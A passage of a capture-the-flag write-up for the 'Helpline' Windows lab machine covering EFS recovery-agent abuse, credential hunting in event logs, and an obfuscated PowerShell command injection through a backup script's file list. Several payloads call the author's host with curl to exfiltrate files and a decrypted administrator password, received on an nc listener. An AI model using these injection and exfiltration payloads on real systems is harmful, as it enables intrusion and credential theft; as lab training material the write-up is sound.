====================================================================== 10.10.10.132 - - [28/Jun/2019 21:54:15] "POST /test HTTP/1.1" 200 - ==== Command output: my "Personal" ================ Certificate 0 ================ Serial Number: 61ff1b7d275e028e4b46de447521fe0b Issuer: OU=EFS File Encryption Certificate, L=EFS, CN=SYSTEM NotBefore: 5/11/2019 10:42 PM NotAfter: 4/17/2119 10:42 PM Subject: OU=EFS File Encryption Certificate, L=EFS, CN=SYSTEM Signature matches Public Key Root Certificate: Subject matches Issuer Cert Hash(sha1): 2ec203ee87660afb5be0e2b7f099dccdf80e535e Key Container = 4b0e7a7f-b4f0-498e-a061-396f66b86cb4 Unique container name: e5a52c4fb5917c5ec7ddb72e090c0795_86f90bf3-9d4c-47b0-bc79-380521b14c85 Provider = Microsoft Enhanced Cryptographic Provider v1.0 Encryption test passed CertUtil: -store command completed successfully. ======================================================================
Output of reg query – EFS data are there!
====================================================================== 10.10.10.132 - - [28/Jun/2019 21:56:21] "POST /test HTTP/1.1" 200 - ==== Command output: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\EFS EFSBlob REG_BINARY 010001000100000098030000940300000000000002000000780300001C0000000000000000000000308203743082025CA003020102021061FF1B7D275E028E4B46DE447521FE0B300D06092A864886F70D01010505003049310F300D0603550403130653595354454D310C300A0603550407130345465331283026060355040B131F4546532046696C6520456E6372797074696F6E2043657274696669636174653020170D3139303531313231343234395A180F32313139303431373231343234395A3049310F300D0603550403130653595354454D310C300A0603550407130345465331283026060355040B131F4546532046696C6520456E6372797074696F6E20436572746966696361746530820122300D06092A864886F70D01010105000382010F003082010A0282010100D6A0849939584E902E8CD9A095517B71B7B654CA32D471E69EBBD14802F079C79E28226D80EC5C1E0572FD38900472D2A7C90C20C6FD984840B2BBA428CBC0E7558DB701B90CDC722D7EE61A1F38CBA66401D32853DACA2A533DAA727903C089D9266DD2B1F2126742578729ABB8095CC16FBE2C822FB1D84A155969B1369DB9D8DDA9A087540E73443506065940E2338F3AD500BF35D313AE5BA275BA28FE411185F72E1761975472A3F75890288A60752662E0372F079E3D643833D49A9190F05AADAAC8482B88B5B03E55067B0A5ACA4911E4874AFFC23FE85D2F539919179DFE61E8B94CCC829E327F554E77F2428CBE3E59763F3D6F80D722CA1EE7392D0203010001A356305430160603551D25040F300D060B2B0601040182370A030401302F0603551D1104283026A024060A2B060104018237140203A0160C1453595354454D404E5420415554484F524954590030090603551D1304023000300D06092A864886F70D01010505000382010100BE37835ED64AFFCE913ADD80A18A6666961B13FCBF74999417E777F48012F448489A93AAD62203A92382570C2D74843875BA763FC438972E3E1F4C5EAFAB8B311ACCA327938942E93C8B9A088D143C62AD3DBA9D3C8806A3B8B65FF55F2ABBBB86F69B53DB9EF514799BCFA9D9C51B8ED0582552C233093EA0D6870E12B583AB32B058B71505EC035534360D5A6EEF6E3076F68B6AFE13DEE903E5C7C3C6A78EF79C029F8552A97FDE0FDC1C55745A9F9418A8EAFDDF0A507336E5BDF5287737BCF94FFE1220490F10092210B61E37E14F98C6F7B3BEC7B1774FE2842CB7C968D22E233CF25F0B220A84BEC6CA678446A74E0A276B0217D4672C6743AB9BCA33 HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\EFS\Certificates HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\EFS\CRLs HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\EFS\CTLs ======================================================================
Waiting for the legit and reading the flags [>> Contents]
Output of cipher before the user has looked at the flag – The file is encrypted, and there is no agent ‘attached’ to it.
====================================================================== 10.10.10.132 - - [28/Jun/2019 21:57:44] "POST /test HTTP/1.1" 200 - ==== Command output: Listing C:\Users\tolu\Desktop\ New files added to this directory will not be encrypted. E user.txt Compatibility Level: Windows XP/Server 2003 Users who can decrypt: HELPLINE\tolu [tolu(tolu@HELPLINE)] Certificate thumbprint: 91EF 5D08 D1F7 C60A A0E4 CEE7 3E05 0639 A669 2F29 No recovery certificate found. Key information cannot be retrieved. =====================================================================
Output of type user.txt before the user has looked at the flag – nothing as I do not redirect error out.
====================================================================== 10.10.10.132 - - [28/Jun/2019 21:58:06] "POST /test HTTP/1.1" 200 - ==== Command output: None ======================================================================
Output of cipher after the legit user (see ‘Simulation’ at the end) has looked at the flag = read it using type. Now my evil SYSTEM agent has been added!
====================================================================== 10.10.10.132 - - [28/Jun/2019 22:08:50] "POST /test HTTP/1.1" 200 - ==== Command output: Listing C:\Users\tolu\Desktop\ New files added to this directory will not be encrypted. E user.txt Compatibility Level: Windows XP/Server 2003 Users who can decrypt: HELPLINE\tolu [tolu(tolu@HELPLINE)] Certificate thumbprint: 91EF 5D08 D1F7 C60A A0E4 CEE7 3E05 0639 A669 2F29 Recovery Certificates: SYSTEM(SYSTEM@NT AUTHORITY) Certificate thumbprint: 2EC2 03EE 8766 0AFB 5BE0 E2B7 F099 DCCD F80E 535E Key Information: Algorithm: AES Key Length: 256 Key Entropy: 256 ======================================================================
Output of type user.txt after the user has looked at the flag – it’s readable now! \o/
====================================================================== 10.10.10.132 - - [28/Jun/2019 22:11:18] "POST /test HTTP/1.1" 200 - ==== Command output: 0d522***** ======================================================================
Same procedure for the admin’s flag:
Output of cipher before the Administrator has looked at the flag:
====================================================================== 10.10.10.132 - - [28/Jun/2019 22:19:31] "POST /test HTTP/1.1" 200 - ==== Command output: Listing C:\Users\Administrator\Desktop\ New files added to this directory will not be encrypted. E root.txt Compatibility Level: Windows XP/Server 2003 Users who can decrypt: HELPLINE\Administrator [Administrator(Administrator@HELPLINE)] Certificate thumbprint: FB15 4575 993A 250F E826 DBAC 79EF 26C2 11CB 77B3 No recovery certificate found. Key information cannot be retrieved. ======================================================================
Output of type root.txt before the Administrator has looked at the flag
====================================================================== 10.10.10.132 - - [28/Jun/2019 22:17:04] "POST /test HTTP/1.1" 200 - ==== Command output: None ======================================================================
Output of cipher after the Administrator has looked at the flag
====================================================================== 10.10.10.132 - - [28/Jun/2019 22:20:58] "POST /test HTTP/1.1" 200 - ==== Command output: Listing C:\Users\Administrator\Desktop\ New files added to this directory will not be encrypted. E root.txt Compatibility Level: Windows XP/Server 2003 Users who can decrypt: HELPLINE\Administrator [Administrator(Administrator@HELPLINE)] Certificate thumbprint: FB15 4575 993A 250F E826 DBAC 79EF 26C2 11CB 77B3 Recovery Certificates: SYSTEM(SYSTEM@NT AUTHORITY) Certificate thumbprint: 2EC2 03EE 8766 0AFB 5BE0 E2B7 F099 DCCD F80E 535E Key Information: Algorithm: AES Key Length: 256 Key Entropy: 256 ======================================================================
Output of type root.txt after the Administrator has looked at the flag
====================================================================== 10.10.10.132 - - [28/Jun/2019 22:22:19] "POST /test HTTP/1.1" 200 - ==== Command output: d8142***** ======================================================================
Appendix 1: Simulating the user tolu – ‘brief’ summary [>> Contents]
I owned the Administrator long before the user, but it does not seem to matter which one you own first.
In either case, I used the SYSTEM web RCE to create a new user and make them member of Administrators:
net user test1 Password1! /add net localgroup Administrators test1 /add
Then I run a psexec shell as this user. I use the original Windows psexec tool so I am socat-ing port 445 from Kali to Windows for that.
On Kali:
socat TCP-LISTEN:445,fork TCP:10.10.10.132:445 &
On Windows:
psexec \\helpline -user helpline\test1 -p Password1! cmd
Enumerating, file system, registry, settings, tasks, and services to death for weeks I find more passwords and user names in files and in ‘service tickets
- The PasswordAudit.xlsx seen at the beginning.
- User names in a JSON dump of the app: http://10.10.10.132:8080/api/cmdb/ci/list/all
- FTP creds for ‘Alpha First Bank’ from a service ticket (in the web app)
- Creds of potential admins in C:\Temp\Password Audit\it_logins.txt
- User names and e-mail addresses by directly checking out the users in the web app, like luis_21465 / luis.ribeiro@megabank.com:
- A service related to a password reset (to Megabank1)
- Windows userse list from net users.
I try to test / brute-force both SMB and WinRMwith combinations of these. Using information from the it_logins.txt I can logon as the user alice over WinRM but I am not able to escape Powershell constrained language mode.
But finally finally finally I found tolu’s password in the Event Log – using this chain of breadcrumbs:
Any unusual services? postgres! (used by the ServiceDesk app)
C:\>tasklist Image Name PID Session Name Session# Mem Usage ========================= ======== ================ =========== ============ System Idle Process 0 Services 0 8 K System 4 Services 0 156 K Registry 88 Services 0 126,156 K smss.exe 300 Services 0 1,232 K csrss.exe 384 Services 0 5,284 K csrss.exe 456 Console 1 4,936 K wininit.exe 476 Services 0 6,680 K winlogon.exe 552 Console 1 12,628 K services.exe 588 Services 0 9,772 K lsass.exe 604 Services 0 18,316 K svchost.exe 704 Services 0 3,708 K ... conhost.exe 884 Console 1 20,028 K svchost.exe 3932 Services 0 18,208 K svchost.exe 292 Services 0 15,636 K conhost.exe 5716 Services 0 10,604 K cmd.exe 3028 Services 0 4,408 K postgres.exe 1884 Services 0 11,660 K postgres.exe 5872 Services 0 6,080 K postgres.exe 1092 Services 0 8,200 K postgres.exe 1160 Services 0 6,716 K postgres.exe 6104 Services 0 6,336 K postgres.exe 6092 Services 0 7,824 K postgres.exe 6100 Services 0 6,076 K postgres.exe 6084 Services 0 6,676 K svchost.exe 752 Services 0 7,564 K svchost.exe 3612 Services 0 8,836 K svchost.exe 464 Services 0 5,820 K postgres.exe 4484 Services 0 17,880 K postgres.exe 4660 Services 0 19,312 K postgres.exe 1376 Services 0 13,948 K ...
There are several users, with different admin capabilities. zachary is an Event Log Reader:
C:\Windows\system32>net user zachary User name zachary Full Name zachary Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 12/21/2018 10:25:34 PM Password expires Never Password changeable 12/21/2018 10:25:34 PM Password required Yes User may change password No Workstations allowed All Logon script User profile Home directory Last logon 12/28/2018 10:57:32 PM Logon hours allowed All Local Group Memberships *Event Log Readers *Users Global Group memberships *None The command completed successfully.
Based on this stackoverflow post – https://stackoverflow.com/questions/36660176/powershell-query-event-4688-for-command-line-text – I dumped the Event Logs like:
powershell -c "Get-WinEvent -FilterHashtable @{LogName = 'Security'} | Select-Object TimeCreated,@{name='NewProcessName';expression={ $_.Properties[5].Value }}, @{name='CommandLine';expression={ $_.Properties[8].Value }} | Out-file evt.txt"
I did not search them directly as there was some maximum charcter limit or other glitch with the PS command within the psexec shell, so I rather started exploring the txt file in a second shell while is was still being dumped.
Searching for ‘tolu’ I finally found it
C:\Windows\system32>find /I "tolu" evt.txt ---------- EVT.TXT 1/15/2019 12:18:42 AM tolu 1/1/2019 11:56:30 PM tolu 12/29/2018 9:20:44 PM tolu 2 12/29/2018 9:20:44 PM tolu localhost 12/28/2018 10:40:2... ...m32\systeminfo.exe .../USER:tolu /P !zaq1234567890pl!99 12/28/2018 10:37:3... tolu 3 12/28/2018 10:37:3... tolu HELPLINE 12/28/2018 10:37:3... ...s\System32\net.exe ...ts /USER:tolu !zaq1234567890pl!99
As with the test user before, I made tolu an admin (Yeah, not very ‘stealthy’!), then started a psexec shell und typed the flag. This was the procedure I used to ‘look at the file as a legit user’ in order to ‘let the Recovery Agent kick in’:
In the SYSTEM RCE
net localgroup Administrators tolu /add
On Windows, over socat:
psexec \\helpline -user helpline\tolu -p !zaq1234567890pl!99 cmd PsExec v2.2 - Execute processes remotely Copyright (C) 2001-2016 Mark Russinovich Sysinternals - www.sysinternals.com Microsoft Windows [Version 10.0.17763.253] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami helpline\tolu C:\Windows\system32>cd \users\tolu C:\Users\tolu>cd desktop C:\Users\tolu\Desktop>type user.txt 0d522***** C:\Users\tolu\Desktop>
Appendix 2: Simulating the Administrator – brief summary [>> Contents]
Helpline has a drive E: – and I had totally it missed this until I had created my own local test admin and checked out the shares with smbclient!
smbclient -L //10.10.10.132 -U test1421 Enter WORKGROUP\test1421's password: Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share E$ Disk Default share Helpdesk_Stats Disk IPC$ IPC Remote IPC Reconnecting with SMB1 for workgroup listing. Connection to 10.10.10.132 failed (Error NT_STATUS_IO_TIMEOUT) Failed to connect with SMB1 -- no workgroup available
Accessing SMB shares locally seems to allows for circumventing UAC – a trick I noticed while rooting the previous HTB box, Arkham. So I look at the files on \\helpline\E locally on the box – using either my test admin’s psexec shell, or using a WinRM session after I have addes the user also to the group Remote Management Users.
There is an interesting backup script that allows to inject input, because you can supply a list of file names in E:\Scripts\Processing\backups.txt. The author of the script is leo according to a comment, and he tried to sanitze the ‘injected’ filenames. Many interesting characters for command injection are blocked, but not the following: [ ] + |.
type '\\helpline\e$\scripts\SDP_Checks.ps1' # script to check ServiceDesk Plus status, and restore backup from secure folder if needed # please report any issues - leo E: cd E:\Scripts Remove-Item E:\Scripts\output.txt Get-Date | Add-Content E:\Scripts\output.txt # check port is listening Add-Content E:\Scripts\output.txt "" Add-Content E:\Scripts\output.txt "Check if listening on 8080" netstat -ano | Select-String "8080" | Out-File E:\Scripts\output.txt -Append -Encoding ASCII # check API Add-Content E:\Scripts\output.txt "" Add-Content E:\Scripts\output.txt "Check API status" Invoke-RestMethod -Uri http://helpline:8080/sdpapi/request/1/ -Method Post -Body @{OPERATION_NAME='GET_REQUEST';TECHNICIAN_KEY='CDDBD0A5-5D71-48DE-8FF7-CB9751F0FE7C';} | Out-File E:\Scripts\output.txt -Append -Encoding ASCII # check service status Add-Content E:\Scripts\output.txt "" Add-Content E:\Scripts\output.txt "Check servicedesk service status" Get-Service servicedesk | Out-File E:\Scripts\output.txt -Append -Encoding ASCII # restore ServiceDesk data from secure backup folder if required # put name of folder in backups.txt to retrieve it, e.g. backup_postgres_9309_fullbackup_mon if (Test-Path E:\Scripts\backups.txt) { Copy-Item E:\Scripts\backups.txt E:\Scripts\Processing\backups.txt # sanitize user input $file = Get-Content E:\Scripts\Processing\backups.txt $file -replace "exe","" > E:\Scripts\Processing\backups.txt $file = Get-Content E:\Scripts\Processing\backups.txt $file -replace "msi","" > E:\Scripts\Processing\backups.txt $file = Get-Content E:\Scripts\Processing\backups.txt $file -replace "ps1","" > E:\Scripts\Processing\backups.txt $file = Get-Content E:\Scripts\Processing\backups.txt $file -replace "cmd","" > E:\Scripts\Processing\backups.txt $file = Get-Content E:\Scripts\Processing\backups.txt $file -replace "bat","" > E:\Scripts\Processing\backups.txt $file = Get-Content E:\Scripts\Processing\backups.txt $file -replace "dll","" > E:\Scripts\Processing\backups.txt $file = Get-Content E:\Scripts\Processing\backups.txt $file -replace " ","" > E:\Scripts\Processing\backups.txt $file = Get-Content E:\Scripts\Processing\backups.txt $file -replace "&","" > E:\Scripts\Processing\backups.txt $file = Get-Content E:\Scripts\Processing\backups.txt $file -replace "{","" > E:\Scripts\Processing\backups.txt $file = Get-Content E:\Scripts\Processing\backups.txt $file -replace "}","" > E:\Scripts\Processing\backups.txt $file = Get-Content E:\Scripts\Processing\backups.txt $file -replace "/","" > E:\Scripts\Processing\backups.txt $file = Get-Content E:\Scripts\Processing\backups.txt $file -replace "\\","" > E:\Scripts\Processing\backups.txt $file = Get-Content E:\Scripts\Processing\backups.txt $file -replace """","" > E:\Scripts\Processing\backups.txt $file = Get-Content E:\Scripts\Processing\backups.txt $file -replace "\'","" > E:\Scripts\Processing\backups.txt $file = Get-Content E:\Scripts\Processing\backups.txt $file -replace "\(","" > E:\Scripts\Processing\backups.txt $file = Get-Content E:\Scripts\Processing\backups.txt $file -replace "\)","" > E:\Scripts\Processing\backups.txt $file = Get-Content E:\Scripts\Processing\backups.txt $file -replace "\.","" > E:\Scripts\Processing\backups.txt ForEach ($backup in Get-Content "E:\Scripts\Processing\backups.txt") { $Command = "echo D | xcopy /E /R /C /Y /H /F /V E:\Backups\$backup E:\Restore\$backup" Invoke-Expression $Command } Remove-Item E:\Scripts\backups.txt Remove-Item E:\Scripts\Processing\backups.txt }
Before I attempt to get a reverse shell, I check out leo’s files over SMB locally. Of course, there is another EFS-encrypted file, and it sounds juicy:
\\helpline\c$\users\leo\Desktop\admin-pass.xml
My plan is to use the injection into the backup job to read that file – or at least this will be a test to check if / how often I will see leo calling back over my usual curl RCE. I obfuscate my commands by ‘encoding’ each character using [char], then add |powershell so that it will run when evaluated.
Here is my Python script to prepare 1) the input file backups.txt and 2) the command that will echo out the file backups.txt.
cmd = 'curl 10.10.14.21/test -method POST -body $(whoami; type C:\Users\leo\Desktop\\admin-pass.xml)' chars_enc = [] for c in cmd: print c c_enc = '[char]0x'+c.encode('hex') print c_enc chars_enc += [ c_enc ] print cmd_enc = '+'.join(chars_enc) echo = '"notexists.txt;' + cmd_enc + '|powershell" | Out-File backups.txt' print '===================================================================' print echo
=================================================================== "notexists.txt;[char]0x63+[char]0x75+[char]0x72+[char]0x6c+[char]0x20+[char]0x31+[char]0x30+[char]0x2e+[char]0x31+[char]0x30+[char]0x2e+[char]0x31+[char]0x34+[char]0x2e+[char]0x32+[char]0x31+[char]0x2f+[char]0x74+[char]0x65+[char]0x73+[char]0x74+[char]0x20+[char]0x2d+[char]0x6d+[char]0x65+[char]0x74+[char]0x68+[char]0x6f+[char]0x64+[char]0x20+[char]0x50+[char]0x4f+[char]0x53+[char]0x54+[char]0x20+[char]0x2d+[char]0x62+[char]0x6f+[char]0x64+[char]0x79+[char]0x20+[char]0x24+[char]0x28+[char]0x77+[char]0x68+[char]0x6f+[char]0x61+[char]0x6d+[char]0x69+[char]0x3b+[char]0x20+[char]0x74+[char]0x79+[char]0x70+[char]0x65+[char]0x20+[char]0x43+[char]0x3a+[char]0x5c+[char]0x55+[char]0x73+[char]0x65+[char]0x72+[char]0x73+[char]0x5c+[char]0x6c+[char]0x65+[char]0x6f+[char]0x5c+[char]0x44+[char]0x65+[char]0x73+[char]0x6b+[char]0x74+[char]0x6f+[char]0x70+[char]0x5c+[char]0x61+[char]0x64+[char]0x6d+[char]0x69+[char]0x6e+[char]0x2d+[char]0x70+[char]0x61+[char]0x73+[char]0x73+[char]0x2e+[char]0x78+[char]0x6d+[char]0x6c+[char]0x29|powershell" | Out-File backups.txt ===================================================================
When the backup job runs, Powershell will invoke a command from the file name, like
echo D | xcopy /E /R /C /Y /H /F /V E:\Backups\$backup E:\Restore\notexists.txt;[char]0x63+[char]0x75+[char]0x72+...+[char]0x29|powershell" | Out-File backups.txt
After a brief time (~1 minute) leo calls back!
nc -lvp 80 nc: listening on :: 80 ... nc: listening on 0.0.0.0 80 ... nc: connect to 10.10.14.21 80 from helpline (10.10.10.132) 51774 [51774] POST /test HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.134 Content-Type: application/x-www-form-urlencoded Host: 10.10.14.21 Content-Length: 537 Expect: 100-continue Connection: Keep-Alive helpline\leo 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000f2fefa98a0d84f4b917dd8a1f5889c8100000000020000000000106600000001000020000000c2d2dd6646fb78feb6f7920ed36b0ade40efeaec6b090556fe6efb52a7e847cc000000000e8000000002000020000000c41d656142bd869ea7eeae22fc00f0f707ebd676a7f5fe04a0d0932dffac3f48300000006cbf505e52b6e132a07de261042bcdca80d0d12ce7e8e60022ff8d9bc042a437a1c49aa0c7943c58e802d1c758fc5dd340000000c4a81c4415883f937970216c5d91acbf80def08ad70a02b061ec88c9bb4ecd14301828044fefc3415f5e128cfb389cbe8968feb8785914070e8aebd6504afcaa
This looks like a Powershell secure string, so only leo on Helpline can decrypt it. Again, I use only the RCE: Letting leo extract the plain text password from the string and send it to me. I am [char]-encoding this whole command, create a huge filename and echo it into backups.txt as before:
$username = "administrator"; $securePwd = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000f2fefa98a0d84f4b917dd8a1f5889c8100000000020000000000106600000001000020000000c2d2dd6646fb78feb6f7920ed36b0ade40efeaec6b090556fe6efb52a7e847cc000000000e8000000002000020000000c41d656142bd869ea7eeae22fc00f0f707ebd676a7f5fe04a0d0932dffac3f48300000006cbf505e52b6e132a07de261042bcdca80d0d12ce7e8e60022ff8d9bc042a437a1c49aa0c7943c58e802d1c758fc5dd340000000c4a81c4415883f937970216c5d91acbf80def08ad70a02b061ec88c9bb4ecd14301828044fefc3415f5e128cfb389cbe8968feb8785914070e8aebd6504afcaa" | ConvertTo-SecureString; $credObject = New-Object System.Management.Automation.PSCredential -ArgumentList $username, $securePwd; $pw = $credObject.GetNetworkCredential().Password; curl 10.10.14.21/test -method POST -body $pw
Again, leo calls back with … a password! \o/
nc -lvp 80 nc: listening on :: 80 ... nc: listening on 0.0.0.0 80 ... nc: connect to 10.10.14.21 80 from helpline (10.10.10.132) 51806 [51806] POST /test HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.134 Content-Type: application/x-www-form-urlencoded Host: 10.10.14.21 Content-Length: 21 Expect: 100-continue Connection: Keep-Alive mb@letmein@SERVER#acc
Finally I start a psexec shell as the Administrator on Windows and read the flag:
psexec \\helpline -user helpline\Administrator -p mb@letmein@SERVER#acc cmd PsExec v2.2 - Execute processes remotely Copyright (C) 2001-2016 Mark Russinovich Sysinternals - www.sysinternals.com Microsoft Windows [Version 10.0.17763.253] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami helpline\administrator C:\Windows\system32>cd C:\Users\administrator C:\Users\Administrator>cd Desktop C:\Users\Administrator\Desktop>dir Volume in drive C has no label. Volume Serial Number is D258-5C3B Directory of C:\Users\Administrator\Desktop 01/02/2019 11:43 PM . 01/02/2019 11:43 PM .. 12/21/2018 12:09 AM 32 root.txt 1 File(s) 32 bytes 2 Dir(s) 5,469,110,272 bytes free C:\Users\Administrator\Desktop>type root.txt d8142*****